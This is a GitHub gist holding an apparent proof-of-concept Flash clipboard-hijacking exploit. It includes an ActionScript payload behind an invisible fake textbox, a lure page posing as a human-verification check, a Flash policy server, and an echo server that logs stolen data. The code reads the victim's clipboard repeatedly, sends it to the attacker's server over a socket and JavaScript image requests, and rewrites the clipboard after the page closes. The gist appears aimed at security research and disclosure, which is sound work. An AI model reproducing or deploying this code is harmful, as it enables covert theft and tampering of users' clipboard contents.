Skip to content

Instantly share code, notes, and snippets.

Last active August 29, 2015 14:26
Show Gist options
  • Save JordanMilne/7ad2dc114ad0eab5fa7b to your computer and use it in GitHub Desktop.
Save JordanMilne/7ad2dc114ad0eab5fa7b to your computer and use it in GitHub Desktop.
python2 &
sudo python2
flashpolicyd runs the policy server that tells flash it can access the port for our echo server.
term_echo_server just logs whatever it receives to the console.
both are python2 and flashpolicyd must run as root unless you have some other way of binding to low ports.
mxmlc -static-link-runtime-shared-libraries=true persist_jack.mxml
#!/usr/bin/env python
# Simple socket policy file server for Flash
# Usage: [--port=N]
# Logs to stderr
# Requires Python 2.5 or later
from __future__ import with_statement
import sys
import optparse
import socket
import thread
import exceptions
import contextlib
POLICY = """<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "/xml/dtds/cross-domain-policy.dtd">
<site-control permitted-cross-domain-policies="master-only"/>
<!-- Only allow access to our echo server -->
<allow-access-from domain="*" to-ports="5190" />
class policy_server(object):
def __init__(self, port):
self.port = port
self.policy = POLICY
self.log('Listening on port %d\n' % port)
self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
except AttributeError:
# AttributeError catches Python built without IPv6
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
# socket.error catches OS with IPv6 disabled
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(('', port))
def run(self):
while True:
thread.start_new_thread(self.handle, self.sock.accept())
except socket.error, e:
self.log('Error accepting connection: %s' % (e[1],))
def handle(self, conn, addr):
addrstr = '%s:%s' % (addr[0],addr[1])
self.log('Connection from %s' % (addrstr,))
with contextlib.closing(conn):
# It's possible that we won't get the entire request in
# a single recv, but very unlikely.
request = conn.recv(1024).strip()
if request != '<policy-file-request/>\0':
self.log('Unrecognized request from %s: %s' % (addrstr, request))
self.log('Valid request received from %s' % (addrstr,))
self.log('Sent policy file to %s' % (addrstr,))
except socket.error, e:
self.log('Error handling connection from %s: %s' % (addrstr, e[1]))
except Exception, e:
self.log('Error handling connection from %s: %s' % (addrstr, e[1]))
def log(self, str):
print >>sys.stderr, str
def main():
parser = optparse.OptionParser(usage = '%prog [--port=PORT]',
version='%prog ' + str(VERSION))
parser.add_option('-p', '--port', dest='port', type=int, default=843,
help='listen on port PORT', metavar='PORT')
opts, args = parser.parse_args()
if args:
parser.error('No arguments are needed. See help.')
except Exception, e:
print >> sys.stderr, e
except KeyboardInterrupt:
if __name__ == '__main__':
import flash.desktop.*;
import flash.display.*;
import flash.ui.*;
import mx.containers.*;
import mx.controls.*;
import mx.utils.*;
protected var lastCB:String = null;
protected var leakSocket:Socket = new Socket();
// Called when the application starts
protected function init():void {
// Set up the paste jacking example
// DataGrid receives paste events, so it's a decent candidate.
var target:Sprite = new DataGrid();
target.alpha = 0.;
// Note that actually *using* the menu sometimes causes a segfault on Linux + PPAPI.
// Probably has something to do with the nested sprites.
target.contextMenu = new ContextMenu();
target.contextMenu.clipboardMenu = true;
target.contextMenu.clipboardItems.paste = true;
jackContainer.addChild(wrapInListeners(target, Event.PASTE, tempJackClipboard));
// We're pretending to be a textbox, after all.
Mouse.cursor = MouseCursor.IBEAM;
// Figure out the hostname the swf was served from and try to set up socket comms
var url:String = loaderInfo.url;
if(URLUtil.isHttpURL(url) || URLUtil.isHttpsURL(url)) {
// Socket.write() is the only way we have of doing synchronous comms
// once the page has been navigated away from. Connect to a service
// on the attacker's server so we can leak clipboard contents.
leakSocket.addEventListener(Event.CONNECT, function(e:Event):void {
leakSocket.writeUTFBytes("Logging Clipboard!");
leakSocket.connect(URLUtil.getServerName(url), 5190);
// Flash checks the call stack to make sure the event in the handler was
// actually user initiated, and each event handler is limited to a 60 second
// runtime. This only applies to *individual* event handlers, so let's give
// the event some more handlers to bubble up to. :)
private function wrapInListeners(what:Sprite, eventType:String, handler:Function):Sprite {
what.addEventListener(eventType, handler);
var highest:Sprite = what;
// Wrap the element in HBoxes that will handle the event when it bubbles up.
// 140 arrived at as the max nesting limit through experimentation.
for(var i:int = 0; i < 140; ++i) {
var hbox:HBox = new HBox();
hbox.addEventListener(eventType, handler);
highest = hbox;
return highest;
protected function getCB():String {
var ret:String = Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT) as String;
return ret;
protected function setCB(str:String):void {
Clipboard.generalClipboard.setData(ClipboardFormats.TEXT_FORMAT, str);
lastCB = str;
// Jacks the clipboard for 10 seconds, then bubbles up
protected function tempJackClipboard(e:Event):void {
__syncExecEvery(function():void {
// the current clipboard
var currCB:String = getCB();
if(currCB != lastCB) {
lastCB = currCB;
// try to exfiltrate the clipboard contents
// Demonstrate clipboard rewriting after the page has closed.
// Lots of funny possibilities for this, like selectively
// rewriting commands or adding the e flag to regexes
// Wrap in a try since Firefox won't let us do this here.
try {
setCB(currCB + "AHHHHHHHH");
} catch(e:Error) {}
}, 100, 10000);
// exfiltrate the data by any means necessary
protected function leakData(text:String):void {
var encoded:String = encodeURIComponent(text);
try {"console.log", "leaking...");
// If the call to JS failed, the user has navigated away from
// the page. `.available` lies :(
var jsFailed:Boolean = true;
try {
if(ExternalInterface.available) {"leakClipboard", encoded).toString();
jsFailed = false;
} catch(e:Error) {}
// This is only to be used once we no longer have a page context
// and can only be used ONCE. After the first flush(), subsequent
// flush()es will fail with the PPAPI version of Flash. This doesn't
// seem to apply to the NPAPI version (maybe just a Flash 11.2 / 12
// difference?)
if(jsFailed && leakSocket.connected) {
// Other possible avenues of leaking may be available after this,
// like storing clipboard contents in an LSO until the victim
// visits another page with an SWF from this domain embedded.
} catch(e:Error) {}
// Execute `what` every `every`ms until `limit`ms have passed.
// Basically, a synchronous setInterval with a total time limit.
private static function __syncExecEvery(what:Function, every:Number, limit:Number):void {
var target:Date = new Date();
target.time += limit;
while((new Date()) < target) {
var partialTarget:Date = new Date();
partialTarget.time += every;
if(partialTarget > target)
partialTarget = target;
while((new Date()) < partialTarget) { 1; }"console.log", "tick...");
try {
} catch(e:Error) {}
var firstCall = true;
function leakClipboard(clipVal) {
// Send the flash to Narnia, we're done with it.
var flashStyle = document.getElementById('jackFlash').style;
flashStyle.left = -9999; = -9999;
var decoded = decodeURIComponent(clipVal);
// populate the verification field with what they thought would be there.
if(firstCall) {
fakeInput.value = decoded;
firstCall = false;
// lazy way of showing we can still do reqs with JS when Flash blocks
var img = new Image();
img.src = '/?thing=' + clipVal;
document.getElementById('leaklog').value += decoded + "\n";
return "still alive";
#jackFlash {
top: 4px;
<p><b>This PoC mostly only works on Chrome and has a habit of crashing browsers. You've been warned!</b></p>
<p>Are you a human? Please place the following text in the verification box</p>
<!-- Something complicated so they're less likely to type it out -->
<pre id="copyTarget">F7&amp;;*2fdAvzAghaXbas,.</pre>
<div style="position:relative">
<object id="jackFlash" data="persist_jack.swf" type="application/x-shockwave-flash" width="149px" height="18px">
<!-- wmode: transparent would be nice, but doesn't seem to work? -->
<param name="wmode" value="opaque">
<param name="AllowScriptAccess" value="always">
<input id="fakeInput" type="text" />
<button onclick="alert('not for this demo.');">Continue</button>
<textarea rows="30" cols="120" id="leaklog"></textarea>
<?xml version="1.0" encoding="utf-8"?>
<s:Application xmlns:fx=""
<fx:Script source="" />
<mx:HBox id="jackContainer">
#!/usr/bin/env python
A boneheaded server that echos everything received to the console.
from twisted.internet import reactor, protocol
from twisted.python import log
import sys
class Echo(protocol.Protocol):
"""This is just about the simplest possible protocol"""
def dataReceived(self, data):
"As soon as any data is received, write it to stdout."
print data
def main():
factory = protocol.ServerFactory()
factory.protocol = Echo
# this only runs if the module was *not* imported
if __name__ == '__main__':
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment